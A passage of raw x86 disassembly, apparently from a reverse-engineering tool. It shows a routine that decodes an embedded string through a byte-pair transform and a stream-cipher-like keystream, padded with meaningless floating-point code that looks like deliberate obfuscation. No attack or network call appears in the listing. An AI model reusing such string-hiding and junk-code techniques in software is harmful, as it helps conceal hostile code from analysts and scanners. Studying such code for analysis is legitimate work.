mov eax, dword [ebp - 0x55c]
shl eax, 4
mov dword [ebp - 0x580], eax
mov eax, dword [ebp - 0x560]
mov dword [ebp - 0x584], eax
mov eax, dword [ebp - 0x580]
or eax, dword [ebp - 0x584]
mov dword [ebp - 0x588], eax
mov al, byte [ebp - 0x588]
mov byte [ebp - 0x4b3], al
movzx eax, byte [ebp - 0x4a9]
mov al, byte [ebp + eax - 0xa04]
mov byte [ebp - 0x4b5], al
movzx eax, byte [ebp - 0x4a5]
movzx eax, byte [ebp + eax - 0xa04]
movzx ecx, byte [ebp - 0x4a6]
add ecx, eax
mov byte [ebp - 0x4a6], cl
mov al, byte [ebp - 0x4a5]
add al, 1
mov byte [ebp - 0x4a5], al
movzx eax, byte [ebp - 0x4a6]
movzx ecx, byte [ebp - 0x4a9]
mov al, byte [ebp + eax - 0xa04]
mov byte [ebp + ecx - 0xa04], al
movzx eax, byte [ebp - 0x4a7]
movzx ecx, byte [ebp - 0x4a6]
mov al, byte [ebp + eax - 0xa04]
mov byte [ebp + ecx - 0xa04], al
movzx eax, byte [ebp - 0x4a5]
movzx ecx, byte [ebp - 0x4a7]
mov al, byte [ebp + eax - 0xa04]
mov byte [ebp + ecx - 0xa04], al
movzx eax, byte [ebp - 0x4a5]
mov cl, byte [ebp - 0x4b5]
mov byte [ebp + eax - 0xa04], cl
movzx eax, byte [ebp - 0x4b5]
movzx eax, byte [ebp + eax - 0xa04]
movzx ecx, byte [ebp - 0x4b4]
add ecx, eax
mov byte [ebp - 0x4b4], cl
movzx eax, byte [ebp - 0x4b3]
movzx ecx, byte [ebp - 0x4a6]
movzx ecx, byte [ebp + ecx - 0xa04]
movzx edx, byte [ebp - 0x4a5]
movzx edx, byte [ebp + edx - 0xa04]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xa04]
xor eax, ecx
movzx ecx, byte [ebp - 0x4a7]
movzx ecx, byte [ebp + ecx - 0xa04]
movzx edx, byte [ebp - 0x4a9]
movzx edx, byte [ebp + edx - 0xa04]
add ecx, edx
movzx edx, byte [ebp - 0x4b4]
movzx edx, byte [ebp + edx - 0xa04]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xa04]
movzx ecx, byte [ebp + ecx - 0xa04]
xor eax, ecx
mov byte [ebp - 0x4a7], al
mov al, byte [ebp - 0x4b3]
mov byte [ebp - 0x4a9], al
mov al, byte [ebp - 0x4a7]
mov byte [ebp - 0x4c2], al
cmp dword [ebp - 0x4d4], 0
jle 0x56e440
mov eax, dword [ebp - 0x4d4]
mov cl, byte [ebp - 0x4c2]
mov byte [ebp + eax - 0x2d], cl
mov eax, dword [ebp - 0x4d4]
inc eax
mov dword [ebp - 0x4d4], eax
mov eax, dword [ebp - 0x514]
inc eax
mov dword [ebp - 0x514], eax
mov eax, dword [ebp - 0x4d4]
shl eax, 1
mov dword [ebp - 0x574], eax
mov eax, dword [ebp - 0x578]
add eax, dword [ebp - 0x574]
movzx eax, byte [eax]
mov dword [ebp - 0x54c], eax
mov dword [ebp - 0x550], 0xd5
mov eax, dword [ebp - 0x4d4]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x57c], eax
mov eax, dword [ebp - 0x578]
add eax, dword [ebp - 0x57c]
movzx eax, byte [eax]
mov dword [ebp - 0x554], eax
mov dword [ebp - 0x558], 0x5c
mov eax, dword [ebp - 0x54c]
sub eax, dword [ebp - 0x550]
mov dword [ebp - 0x55c], eax
mov eax, dword [ebp - 0x554]
sub eax, dword [ebp - 0x558]
mov dword [ebp - 0x560], eax
mov eax, dword [ebp - 0x55c]
shl eax, 4
mov dword [ebp - 0x580], eax
mov eax, dword [ebp - 0x560]
mov dword [ebp - 0x584], eax
mov eax, dword [ebp - 0x580]
or eax, dword [ebp - 0x584]
mov dword [ebp - 0x588], eax
mov al, byte [ebp - 0x588]
mov byte [ebp - 0x4b3], al
movzx eax, byte [ebp - 0x4a9]
mov al, byte [ebp + eax - 0xa04]
mov byte [ebp - 0x4b5], al
movzx eax, byte [ebp - 0x4a5]
movzx eax, byte [ebp + eax - 0xa04]
movzx ecx, byte [ebp - 0x4a6]
add ecx, eax
mov byte [ebp - 0x4a6], cl
mov al, byte [ebp - 0x4a5]
add al, 1
mov byte [ebp - 0x4a5], al
movzx eax, byte [ebp - 0x4a6]
movzx ecx, byte [ebp - 0x4a9]
mov al, byte [ebp + eax - 0xa04]
mov byte [ebp + ecx - 0xa04], al
movzx eax, byte [ebp - 0x4a7]
movzx ecx, byte [ebp - 0x4a6]
mov al, byte [ebp + eax - 0xa04]
mov byte [ebp + ecx - 0xa04], al
movzx eax, byte [ebp - 0x4a5]
movzx ecx, byte [ebp - 0x4a7]
mov al, byte [ebp + eax - 0xa04]
mov byte [ebp + ecx - 0xa04], al
movzx eax, byte [ebp - 0x4a5]
mov cl, byte [ebp - 0x4b5]
mov byte [ebp + eax - 0xa04], cl
movzx eax, byte [ebp - 0x4b5]
movzx eax, byte [ebp + eax - 0xa04]
movzx ecx, byte [ebp - 0x4b4]
add ecx, eax
mov byte [ebp - 0x4b4], cl
movzx eax, byte [ebp - 0x4b3]
movzx ecx, byte [ebp - 0x4a6]
movzx ecx, byte [ebp + ecx - 0xa04]
movzx edx, byte [ebp - 0x4a5]
movzx edx, byte [ebp + edx - 0xa04]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xa04]
xor eax, ecx
movzx ecx, byte [ebp - 0x4a7]
movzx ecx, byte [ebp + ecx - 0xa04]
movzx edx, byte [ebp - 0x4a9]
movzx edx, byte [ebp + edx - 0xa04]
add ecx, edx
movzx edx, byte [ebp - 0x4b4]
movzx edx, byte [ebp + edx - 0xa04]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xa04]
movzx ecx, byte [ebp + ecx - 0xa04]
xor eax, ecx
mov byte [ebp - 0x4a7], al
mov al, byte [ebp - 0x4b3]
mov byte [ebp - 0x4a9], al
mov al, byte [ebp - 0x4a7]
mov byte [ebp - 0x4c2], al
cmp dword [ebp - 0x4d4], 0
jle 0x56e690
mov eax, dword [ebp - 0x4d4]
mov cl, byte [ebp - 0x4c2]
mov byte [ebp + eax - 0x2d], cl
mov eax, dword [ebp - 0x514]
add eax, 4
mov dword [ebp - 0x514], eax
mov eax, dword [ebp - 0x4d4]
inc eax
mov dword [ebp - 0x8ac], eax
jmp 0x56e6bb
mov eax, dword [ebp - 0x8ac]
inc eax
mov dword [ebp - 0x8ac], eax
mov eax, dword [ebp - 0x8ac]
cmp eax, dword [ebp - 0x514]
jge 0x56f0f6
mov eax, dword [ebp - 0x4d4]
inc eax
mov dword [ebp - 0x4d4], eax
mov eax, dword [ebp - 0x4d4]
shl eax, 1
mov dword [ebp - 0x574], eax
mov eax, dword [ebp - 0x578]
add eax, dword [ebp - 0x574]
movzx eax, byte [eax]
mov dword [ebp - 0x54c], eax
mov dword [ebp - 0x550], 0xd5
mov eax, dword [ebp - 0x4d4]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x57c], eax
mov eax, dword [ebp - 0x578]
add eax, dword [ebp - 0x57c]
movzx eax, byte [eax]
mov dword [ebp - 0x554], eax
mov dword [ebp - 0x558], 0x5c
mov eax, dword [ebp - 0x54c]
sub eax, dword [ebp - 0x550]
mov dword [ebp - 0x55c], eax
mov eax, dword [ebp - 0x554]
sub eax, dword [ebp - 0x558]
mov dword [ebp - 0x560], eax
mov eax, dword [ebp - 0x55c]
shl eax, 4
mov dword [ebp - 0x580], eax
movss xmm0, dword [0xa6ccc4]
movss dword [ebp - 0x4fc], xmm0
movss xmm0, dword [0xa6cc98]
movss dword [ebp - 0x504], xmm0
movss xmm0, dword [0xa6cc7c]
movss dword [ebp - 0x4f8], xmm0
movss xmm0, dword [0xa6cc64]
movss dword [ebp - 0x678], xmm0
movss xmm0, dword [0xa6cc30]
movss dword [ebp - 0x61c], xmm0
movss xmm0, dword [0xa6cc1c]
movss dword [ebp - 0x5d0], xmm0
movss xmm0, dword [0xa6cbf8]
movss dword [ebp - 0x520], xmm0
movss xmm0, dword [ebp - 0x4fc]
addss xmm0, dword [ebp - 0x520]
movss dword [ebp - 0x4fc], xmm0
movss xmm0, dword [ebp - 0x504]
addss xmm0, dword [ebp - 0x520]
movss dword [ebp - 0x504], xmm0
movss xmm0, dword [ebp - 0x504]
mulss xmm0, dword [ebp - 0x520]
movss dword [ebp - 0x504], xmm0
movss xmm0, dword [ebp - 0x61c]
addss xmm0, dword [ebp - 0x520]
movss dword [ebp - 0x61c], xmm0
movss xmm0, dword [ebp - 0x4fc]
subss xmm0, dword [ebp - 0x520]
movss dword [ebp - 0x4fc], xmm0
movss xmm0, dword [ebp - 0x4f8]
subss xmm0, dword [ebp - 0x520]
movss dword [ebp - 0x4f8], xmm0
movss xmm0, dword [ebp - 0x4fc]
mulss xmm0, dword [ebp - 0x520]
movss dword [ebp - 0x4fc], xmm0
movss xmm0, dword [ebp - 0x4fc]
comiss xmm0, dword [ebp - 0x520]
jbe 0x56e94f
movss xmm0, dword [ebp - 0x504]
mulss xmm0, dword [ebp - 0x4f8]
movss dword [ebp - 0x504], xmm0
movss xmm0, dword [ebp - 0x4fc]
subss xmm0, dword [ebp - 0x504]
movss dword [ebp - 0x4fc], xmm0
movss xmm0, dword [ebp - 0x4f8]
subss xmm0, dword [ebp - 0x678]
movss dword [ebp - 0x4f8], xmm0
movss xmm0, dword [ebp - 0x4fc]
addss xmm0, dword [ebp - 0x504]
movss dword [ebp - 0x4fc], xmm0
movss xmm0, dword [ebp - 0x4fc]
subss xmm0, dword [ebp - 0x504]
movss dword [ebp - 0x4fc], xmm0
movss xmm0, dword [ebp - 0x4fc]
mulss xmm0, dword [ebp - 0x504]
movss dword [ebp - 0x4fc], xmm0
movss xmm0, dword [ebp - 0x5d0]
subss xmm0, dword [ebp - 0x520]
movss dword [ebp - 0x5d0], xmm0
mov eax, dword [ebp - 0x560]
mov dword [ebp - 0x584], eax
jmp 0x56ec09
movss xmm0, dword [ebp - 0x504]
addss xmm0, dword [ebp - 0x4f8]
movss dword [ebp - 0x504], xmm0
movss xmm0, dword [ebp - 0x4f8]
addss xmm0, dword [ebp - 0x678]
movss dword [ebp - 0x4f8], xmm0
movss xmm0, dword [ebp - 0x61c]
mulss xmm0, dword [ebp - 0x5d0]
movss dword [ebp - 0x61c], xmm0
movss xmm0, dword [ebp - 0x5d0]
addss xmm0, dword [ebp - 0x520]
movss dword [ebp - 0x5d0], xmm0
movss xmm0, dword [ebp - 0x520]
divss xmm0, dword [ebp - 0x4fc]
movss dword [ebp - 0x520], xmm0
movss xmm0, dword [ebp - 0x5d0]
subss xmm0, dword [ebp - 0x520]
movss dword [ebp - 0x5d0], xmm0
movss xmm0, dword [ebp - 0x4fc]
subss xmm0, dword [ebp - 0x504]
movss dword [ebp - 0x4fc], xmm0
movss xmm0, dword [ebp - 0x504]
mulss xmm0, dword [ebp - 0x4f8]
movss dword [ebp - 0x504], xmm0
movss xmm0, dword [ebp - 0x4f8]
subss xmm0, dword [ebp - 0x678]
movss dword [ebp - 0x4f8], xmm0
movss xmm0, dword [ebp - 0x678]
divss xmm0, dword [ebp - 0x61c]
movss dword [ebp - 0x678], xmm0
movss xmm0, dword [ebp - 0x4f8]
addss xmm0, dword [ebp - 0x678]
movss dword [ebp - 0x4f8], xmm0
movss xmm0, dword [ebp - 0x504]
mulss xmm0, dword [ebp - 0x4f8]
movss dword [ebp - 0x504], xmm0
movss xmm0, dword [ebp - 0x61c]
subss xmm0, dword [ebp - 0x5d0]
movss dword [ebp - 0x61c], xmm0
movss xmm0, dword [ebp - 0x4f8]
divss xmm0, dword [ebp - 0x678]
movss dword [ebp - 0x4f8], xmm0
movss xmm0, dword [ebp - 0x4fc]
comiss xmm0, dword [ebp - 0x4f8]
jbe 0x56eb61
movss xmm0, dword [ebp - 0x5d0]
divss xmm0, dword [ebp - 0x4fc]
movss dword [ebp - 0x5d0], xmm0
movss xmm0, dword [ebp - 0x520]
divss xmm0, dword [ebp - 0x504]
movss dword [ebp - 0x520], xmm0
movss xmm0, dword [ebp - 0x4fc]
divss xmm0, dword [ebp - 0x4f8]
movss dword [ebp - 0x4fc], xmm0
movss xmm0, dword [ebp - 0x61c]
subss xmm0, dword [ebp - 0x520]
movss dword [ebp - 0x61c], xmm0
movss xmm0, dword [ebp - 0x4f8]
mulss xmm0, dword [ebp - 0x61c]
movss dword [ebp - 0x4f8], xmm0
movss xmm0, dword [ebp - 0x504]
divss xmm0, dword [ebp - 0x678]
movss dword [ebp - 0x504], xmm0
movss xmm0, dword [ebp - 0x678]
mulss xmm0, dword [ebp - 0x5d0]
movss dword [ebp - 0x678], xmm0
jmp 0x56ec09
movss xmm0, dword [ebp - 0x520]
subss xmm0, dword [ebp - 0x504]
movss dword [ebp - 0x520], xmm0
movss xmm0, dword [ebp - 0x4fc]
mulss xmm0, dword [ebp - 0x4f8]
movss dword [ebp - 0x4fc], xmm0
movss xmm0, dword [ebp - 0x520]
subss xmm0, dword [ebp - 0x504]
movss dword [ebp - 0x520], xmm0
movss xmm0, dword [ebp - 0x4f8]
subss xmm0, dword [ebp - 0x61c]
movss dword [ebp - 0x4f8], xmm0
movss xmm0, dword [ebp - 0x4f8]
mulss xmm0, dword [ebp - 0x61c]
movss dword [ebp - 0x4f8], xmm0
movss xmm0, dword [ebp - 0x504]
addss xmm0, dword [ebp - 0x678]
movss dword [ebp - 0x504], xmm0
movss xmm0, dword [ebp - 0x5d0]
subss xmm0, dword [ebp - 0x4fc]
movss dword [ebp - 0x5d0], xmm0
mov eax, dword [ebp - 0x580]
or eax, dword [ebp - 0x584]
mov dword [ebp - 0x588], eax
mov al, byte [ebp - 0x588]
mov byte [ebp - 0x4b3], al
movzx eax, byte [ebp - 0x4a9]
mov al, byte [ebp + eax - 0xa04]
mov byte [ebp - 0x4b5], al
movzx eax, byte [ebp - 0x4a5]
movzx eax, byte [ebp + eax - 0xa04]
movzx ecx, byte [ebp - 0x4a6]
add ecx, eax
mov byte [ebp - 0x4a6], cl
mov al, byte [ebp - 0x4a5]
add al, 1
mov byte [ebp - 0x4a5], al
movzx eax, byte [ebp - 0x4a6]
movzx ecx, byte [ebp - 0x4a9]
mov al, byte [ebp + eax - 0xa04]
mov byte [ebp + ecx - 0xa04], al
movzx eax, byte [ebp - 0x4a7]
movzx ecx, byte [ebp - 0x4a6]
mov al, byte [ebp + eax - 0xa04]
mov byte [ebp + ecx - 0xa04], al
movzx eax, byte [ebp - 0x4a5]
movzx ecx, byte [ebp - 0x4a7]
mov al, byte [ebp + eax - 0xa04]
mov byte [ebp + ecx - 0xa04], al
movzx eax, byte [ebp - 0x4a5]
mov cl, byte [ebp - 0x4b5]
mov byte [ebp + eax - 0xa04], cl
movzx eax, byte [ebp - 0x4b5]
movzx eax, byte [ebp + eax - 0xa04]
movzx ecx, byte [ebp - 0x4b4]
add ecx, eax
mov byte [ebp - 0x4b4], cl
movzx eax, byte [ebp - 0x4b3]
movzx ecx, byte [ebp - 0x4a6]
movzx ecx, byte [ebp + ecx - 0xa04]
movzx edx, byte [ebp - 0x4a5]
movzx edx, byte [ebp + edx - 0xa04]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xa04]
xor eax, ecx
movzx ecx, byte [ebp - 0x4a7]
movzx ecx, byte [ebp + ecx - 0xa04]
movzx edx, byte [ebp - 0x4a9]
movzx edx, byte [ebp + edx - 0xa04]
add ecx, edx
movzx edx, byte [ebp - 0x4b4]
movzx edx, byte [ebp + edx - 0xa04]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xa04]
movzx ecx, byte [ebp + ecx - 0xa04]
xor eax, ecx
mov byte [ebp - 0x4a7], al
mov al, byte [ebp - 0x4b3]
mov byte [ebp - 0x4a9], al
movss xmm0, dword [0xa6cce4]
movss dword [ebp - 0x570], xmm0
movss xmm0, dword [0xa6ccd0]
movss dword [ebp - 0x518], xmm0
movss xmm0, dword [0xa6cc94]
movss dword [ebp - 0x4ec], xmm0
movss xmm0, dword [0xa6cc5c]
movss dword [ebp - 0x5d4], xmm0
movss xmm0, dword [0xa6cc18]
movss dword [ebp - 0x56c], xmm0
movss xmm0, dword [ebp - 0x4ec]
mulss xmm0, dword [ebp - 0x56c]
movss dword [ebp - 0x4ec], xmm0
movss xmm0, dword [ebp - 0x570]
subss xmm0, dword [ebp - 0x56c]
movss dword [ebp - 0x570], xmm0
movss xmm0, dword [ebp - 0x518]
addss xmm0, dword [ebp - 0x56c]
movss dword [ebp - 0x518], xmm0
movss xmm0, dword [ebp - 0x518]
addss xmm0, dword [ebp - 0x56c]
movss dword [ebp - 0x518], xmm0
movss xmm0, dword [ebp - 0x518]
mulss xmm0, dword [ebp - 0x56c]
movss dword [ebp - 0x518], xmm0
movss xmm0, dword [ebp - 0x518]
comiss xmm0, dword [ebp - 0x56c]
jbe 0x56eee5
movss xmm0, dword [ebp - 0x56c]
subss xmm0, dword [ebp - 0x518]
movss dword [ebp - 0x56c], xmm0
movss xmm0, dword [ebp - 0x570]
addss xmm0, dword [ebp - 0x4ec]
movss dword [ebp - 0x570], xmm0
movss xmm0, dword [ebp - 0x518]
addss xmm0, dword [ebp - 0x5d4]
movss dword [ebp - 0x518], xmm0
movss xmm0, dword [ebp - 0x570]
addss xmm0, dword [ebp - 0x4ec]
movss dword [ebp - 0x570], xmm0
movss xmm0, dword [ebp - 0x4ec]
addss xmm0, dword [ebp - 0x56c]
movss dword [ebp - 0x4ec], xmm0
mov al, byte [ebp - 0x4a7]
mov byte [ebp - 0x4c2], al
jmp 0x56f0d8
movss xmm0, dword [ebp - 0x518]
divss xmm0, dword [ebp - 0x5d4]
movss dword [ebp - 0x518], xmm0
movss xmm0, dword [ebp - 0x4ec]
divss xmm0, dword [ebp - 0x56c]
movss dword [ebp - 0x4ec], xmm0
movss xmm0, dword [ebp - 0x4ec]
divss xmm0, dword [ebp - 0x56c]
movss dword [ebp - 0x4ec], xmm0
movss xmm0, dword [ebp - 0x5d4]
divss xmm0, dword [ebp - 0x570]
movss dword [ebp - 0x5d4], xmm0
movss xmm0, dword [ebp - 0x4ec]
mulss xmm0, dword [ebp - 0x56c]
movss dword [ebp - 0x4ec], xmm0
movss xmm0, dword [ebp - 0x56c]
divss xmm0, dword [ebp - 0x570]
movss dword [ebp - 0x56c], xmm0
movss xmm0, dword [ebp - 0x5d4]
subss xmm0, dword [ebp - 0x56c]
movss dword [ebp - 0x5d4], xmm0
movss xmm0, dword [ebp - 0x4ec]
divss xmm0, dword [ebp - 0x5d4]
movss dword [ebp - 0x4ec], xmm0
movss xmm0, dword [ebp - 0x570]
addss xmm0, dword [ebp - 0x518]
movss dword [ebp - 0x570], xmm0
movss xmm0, dword [ebp - 0x4ec]
divss xmm0, dword [ebp - 0x5d4]
movss dword [ebp - 0x4ec], xmm0
movss xmm0, dword [ebp - 0x518]
comiss xmm0, dword [ebp - 0x56c]
jbe 0x56f060
movss xmm0, dword [ebp - 0x518]
mulss xmm0, dword [ebp - 0x4ec]
movss dword [ebp - 0x518], xmm0
movss xmm0, dword [ebp - 0x4ec]
divss xmm0, dword [ebp - 0x5d4]
movss dword [ebp - 0x4ec], xmm0
movss xmm0, dword [ebp - 0x4ec]
addss xmm0, dword [ebp - 0x5d4]
movss dword [ebp - 0x4ec], xmm0
movss xmm0, dword [ebp - 0x4ec]
subss xmm0, dword [ebp - 0x5d4]
movss dword [ebp - 0x4ec], xmm0
movss xmm0, dword [ebp - 0x570]
subss xmm0, dword [ebp - 0x518]
movss dword [ebp - 0x570], xmm0
jmp 0x56f0d8
movss xmm0, dword [ebp - 0x4ec]
subss xmm0, dword [ebp - 0x5d4]
movss dword [ebp - 0x4ec], xmm0
movss xmm0, dword [ebp - 0x518]
mulss xmm0, dword [ebp - 0x4ec]
movss dword [ebp - 0x518], xmm0
movss xmm0, dword [ebp - 0x4ec]
addss xmm0, dword [ebp - 0x5d4]
movss dword [ebp - 0x4ec], xmm0
movss xmm0, dword [ebp - 0x570]
subss xmm0, dword [ebp - 0x518]
movss dword [ebp - 0x570], xmm0
movss xmm0, dword [ebp - 0x570]
divss xmm0, dword [ebp - 0x518]
movss dword [ebp - 0x570], xmm0
cmp dword [ebp - 0x4d4], 0
jle 0x56f0f1
mov eax, dword [ebp - 0x4d4]
mov cl, byte [ebp - 0x4c2]
mov byte [ebp + eax - 0x2d], cl
jmp 0x56e6ae
mov eax, dword [ebp - 0x514]
inc eax
mov dword [ebp - 0x514], eax
mov eax, dword [ebp - 0x4d4]
inc eax
mov dword [ebp - 0x4d4], eax
mov eax, dword [ebp - 0x514]
inc eax
mov dword [ebp - 0x514], eax
mov eax, dword [ebp - 0x4d4]
shl eax, 1
mov dword [ebp - 0x574], eax
mov eax, dword [ebp - 0x578]
add eax, dword [ebp - 0x574]
movzx eax, byte [eax]
mov dword [ebp - 0x54c], eax
mov dword [ebp - 0x550], 0xd5
mov eax, dword [ebp - 0x4d4]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x57c], eax
mov eax, dword [ebp - 0x578]
add eax, dword [ebp - 0x57c]
movzx eax, byte [eax]
mov dword [ebp - 0x554], eax
mov dword [ebp - 0x558], 0x5c
mov eax, dword [ebp - 0x54c]
sub eax, dword [ebp - 0x550]
mov dword [ebp - 0x55c], eax
mov eax, dword [ebp - 0x554]
sub eax, dword [ebp - 0x558]
mov dword [ebp - 0x560], eax
mov eax, dword [ebp - 0x55c]
shl eax, 4
mov dword [ebp - 0x580], eax
mov eax, dword [ebp - 0x560]
mov dword [ebp - 0x584], eax
mov eax, dword [ebp - 0x580]
or eax, dword [ebp - 0x584]
mov dword [ebp - 0x588], eax
mov al, byte [ebp - 0x588]
mov byte [ebp - 0x4b3], al
movzx eax, byte [ebp - 0x4a9]
mov al, byte [ebp + eax - 0xa04]
mov byte [ebp - 0x4b5], al
movzx eax, byte [ebp - 0x4a5]
movzx eax, byte [ebp + eax - 0xa04]
movzx ecx, byte [ebp - 0x4a6]
add ecx, eax
mov byte [ebp - 0x4a6], cl
mov al, byte [ebp - 0x4a5]
add al, 1
mov byte [ebp - 0x4a5], al
movzx eax, byte [ebp - 0x4a6]
movzx ecx, byte [ebp - 0x4a9]
mov al, byte [ebp + eax - 0xa04]
mov byte [ebp + ecx - 0xa04], al
movzx eax, byte [ebp - 0x4a7]
movzx ecx, byte [ebp - 0x4a6]
mov al, byte [ebp + eax - 0xa04]
mov byte [ebp + ecx - 0xa04], al
movzx eax, byte [ebp - 0x4a5]
movzx ecx, byte [ebp - 0x4a7]
mov al, byte [ebp + eax - 0xa04]
mov byte [ebp + ecx - 0xa04], al
movzx eax, byte [ebp - 0x4a5]
mov cl, byte [ebp - 0x4b5]
mov byte [ebp + eax - 0xa04], cl
movzx eax, byte [ebp - 0x4b5]
movzx eax, byte [ebp + eax - 0xa04]
movzx ecx, byte [ebp - 0x4b4]
add ecx, eax
mov byte [ebp - 0x4b4], cl
movzx eax, byte [ebp - 0x4b3]
movzx ecx, byte [ebp - 0x4a6]
movzx ecx, byte [ebp + ecx - 0xa04]
movzx edx, byte [ebp - 0x4a5]
movzx edx, byte [ebp + edx - 0xa04]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xa04]
xor eax, ecx
movzx ecx, byte [ebp - 0x4a7]
movzx ecx, byte [ebp + ecx - 0xa04]
movzx edx, byte [ebp - 0x4a9]
movzx edx, byte [ebp + edx - 0xa04]
add ecx, edx
movzx edx, byte [ebp - 0x4b4]
movzx edx, byte [ebp + edx - 0xa04]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xa04]
movzx ecx, byte [ebp + ecx - 0xa04]
xor eax, ecx
mov byte [ebp - 0x4a7], al
mov al, byte [ebp - 0x4b3]
mov byte [ebp - 0x4a9], al
mov al, byte [ebp - 0x4a7]
mov byte [ebp - 0x4c2], al
cmp dword [ebp - 0x4d4], 0
jle 0x56f353
mov eax, dword [ebp - 0x4d4]
mov cl, byte [ebp - 0x4c2]
mov byte [ebp + eax - 0x2d], cl
xor eax, eax
inc eax
imul eax, eax, 0xd
mov dword [ebp - 0x8d4], eax
cmp dword [ebp - 0x8d4], 0xe
jae 0x56f36a
jmp 0x56f36f
call fcn.009ec5b7
mov eax, dword [ebp - 0x8d4]
mov byte [ebp + eax - 0x2c], 0
jmp 0x56f3c4
and dword [ebp - 0x844], 0
jmp 0x56f392
mov eax, dword [ebp - 0x844]
inc eax
mov dword [ebp - 0x844], eax
cmp dword [ebp - 0x844], 0xe
jge 0x56f3c4
mov eax, dword [ebp - 0x844]
mov dword [ebp - 0x8bc], eax
cmp dword [ebp - 0x8bc], 0xe
jae 0x56f3b2
jmp 0x56f3b7
call fcn.009ec5b7
mov eax, dword [ebp - 0x8bc]
mov byte [ebp + eax - 0x2c], 0
jmp 0x56f385
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0xb48]
call fcn.00490aa0
mov dword [ebp - 0xa38], eax
and dword [ebp - 0x494], 0
and dword [ebp - 0x48c], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x7f8], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x7cc], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x7cc], xmm0
jmp 0x56f422
movsd xmm0, qword [ebp - 0x7cc]
addsd xmm0, qword [0xa68350]
movsd qword [ebp - 0x7cc], xmm0
movsd xmm0, qword [0xa6ca40]
comisd xmm0, xmmword [ebp - 0x7cc]
jbe 0x56f820
movss xmm0, dword [0xa69e2c]
movss dword [ebp - 0x710], xmm0
movss xmm0, dword [0xa6cc78]
movss dword [ebp - 0x52c], xmm0
movss xmm0, dword [0xa6cc58]
movss dword [ebp - 0x524], xmm0
movss xmm0, dword [0xa6cc28]
movss dword [ebp - 0x50c], xmm0
movss xmm0, dword [0xa6cc00]
movss dword [ebp - 0x508], xmm0
movss xmm0, dword [ebp - 0x50c]
mulss xmm0, dword [ebp - 0x508]
movss dword [ebp - 0x50c], xmm0
movss xmm0, dword [ebp - 0x524]
mulss xmm0, dword [ebp - 0x508]
movss dword [ebp - 0x524], xmm0
movss xmm0, dword [ebp - 0x50c]
subss xmm0, dword [ebp - 0x508]
movss dword [ebp - 0x50c], xmm0
movss xmm0, dword [ebp - 0x50c]
mulss xmm0, dword [ebp - 0x508]
movss dword [ebp - 0x50c], xmm0
movss xmm0, dword [ebp - 0x50c]
subss xmm0, dword [ebp - 0x508]
movss dword [ebp - 0x50c], xmm0
movss xmm0, dword [ebp - 0x508]
comiss xmm0, dword [ebp - 0x50c]
jbe 0x56f70d
movss xmm0, dword [ebp - 0x50c]
addss xmm0, dword [ebp - 0x508]
movss dword [ebp - 0x50c], xmm0
movss xmm0, dword [ebp - 0x52c]
addss xmm0, dword [ebp - 0x524]
movss dword [ebp - 0x52c], xmm0
movss xmm0, dword [ebp - 0x508]
mulss xmm0, dword [ebp - 0x710]
movss dword [ebp - 0x508], xmm0
movss xmm0, dword [ebp - 0x524]
mulss xmm0, dword [ebp - 0x50c]
movss dword [ebp - 0x524], xmm0
movss xmm0, dword [ebp - 0x52c]
subss xmm0, dword [ebp - 0x524]
movss dword [ebp - 0x52c], xmm0
movss xmm0, dword [ebp - 0x52c]
addss xmm0, dword [ebp - 0x524]
movss dword [ebp - 0x52c], xmm0
movss xmm0, dword [ebp - 0x52c]
addss xmm0, dword [ebp - 0x524]
movss dword [ebp - 0x52c], xmm0
movss xmm0, dword [ebp - 0x508]
subss xmm0, dword [ebp - 0x710]
movss dword [ebp - 0x508], xmm0
movss xmm0, dword [ebp - 0x508]
addss xmm0, dword [ebp - 0x710]
movss dword [ebp - 0x508], xmm0
movss xmm0, dword [ebp - 0x52c]
divss xmm0, dword [ebp - 0x524]
movss dword [ebp - 0x52c], xmm0
movss xmm0, dword [ebp - 0x508]
comiss xmm0, dword [ebp - 0x524]
jbe 0x56f690
movss xmm0, dword [ebp - 0x508]
divss xmm0, dword [ebp - 0x52c]
movss dword [ebp - 0x508], xmm0
movss xmm0, dword [ebp - 0x52c]
divss xmm0, dword [ebp - 0x50c]
movss dword [ebp - 0x52c], xmm0
movss xmm0, dword [ebp - 0x508]
mulss xmm0, dword [ebp - 0x52c]
movss dword [ebp - 0x508], xmm0
movss xmm0, dword [ebp - 0x524]
subss xmm0, dword [ebp - 0x508]
movss dword [ebp - 0x524], xmm0
movss xmm0, dword [ebp - 0x508]
divss xmm0, dword [ebp - 0x52c]
movss dword [ebp - 0x508], xmm0
jmp 0x56f708
movss xmm0, dword [ebp - 0x524]
divss xmm0, dword [ebp - 0x50c]
movss dword [ebp - 0x524], xmm0
movss xmm0, dword [ebp - 0x524]
subss xmm0, dword [ebp - 0x50c]
movss dword [ebp - 0x524], xmm0
movss xmm0, dword [ebp - 0x508]
divss xmm0, dword [ebp - 0x710]
movss dword [ebp - 0x508], xmm0
movss xmm0, dword [ebp - 0x52c]
mulss xmm0, dword [ebp - 0x524]
movss dword [ebp - 0x52c], xmm0
movss xmm0, dword [ebp - 0x52c]
subss xmm0, dword [ebp - 0x524]
movss dword [ebp - 0x52c], xmm0
jmp 0x56f7e5
movss xmm0, dword [ebp - 0x50c]
addss xmm0, dword [ebp - 0x710]
movss dword [ebp - 0x50c], xmm0
movss xmm0, dword [ebp - 0x50c]
addss xmm0, dword [ebp - 0x710]
movss dword [ebp - 0x50c], xmm0
movss xmm0, dword [ebp - 0x50c]
subss xmm0, dword [ebp - 0x710]
movss dword [ebp - 0x50c], xmm0
movss xmm0, dword [ebp - 0x524]
addss xmm0, dword [ebp - 0x508]
movss dword [ebp - 0x524], xmm0
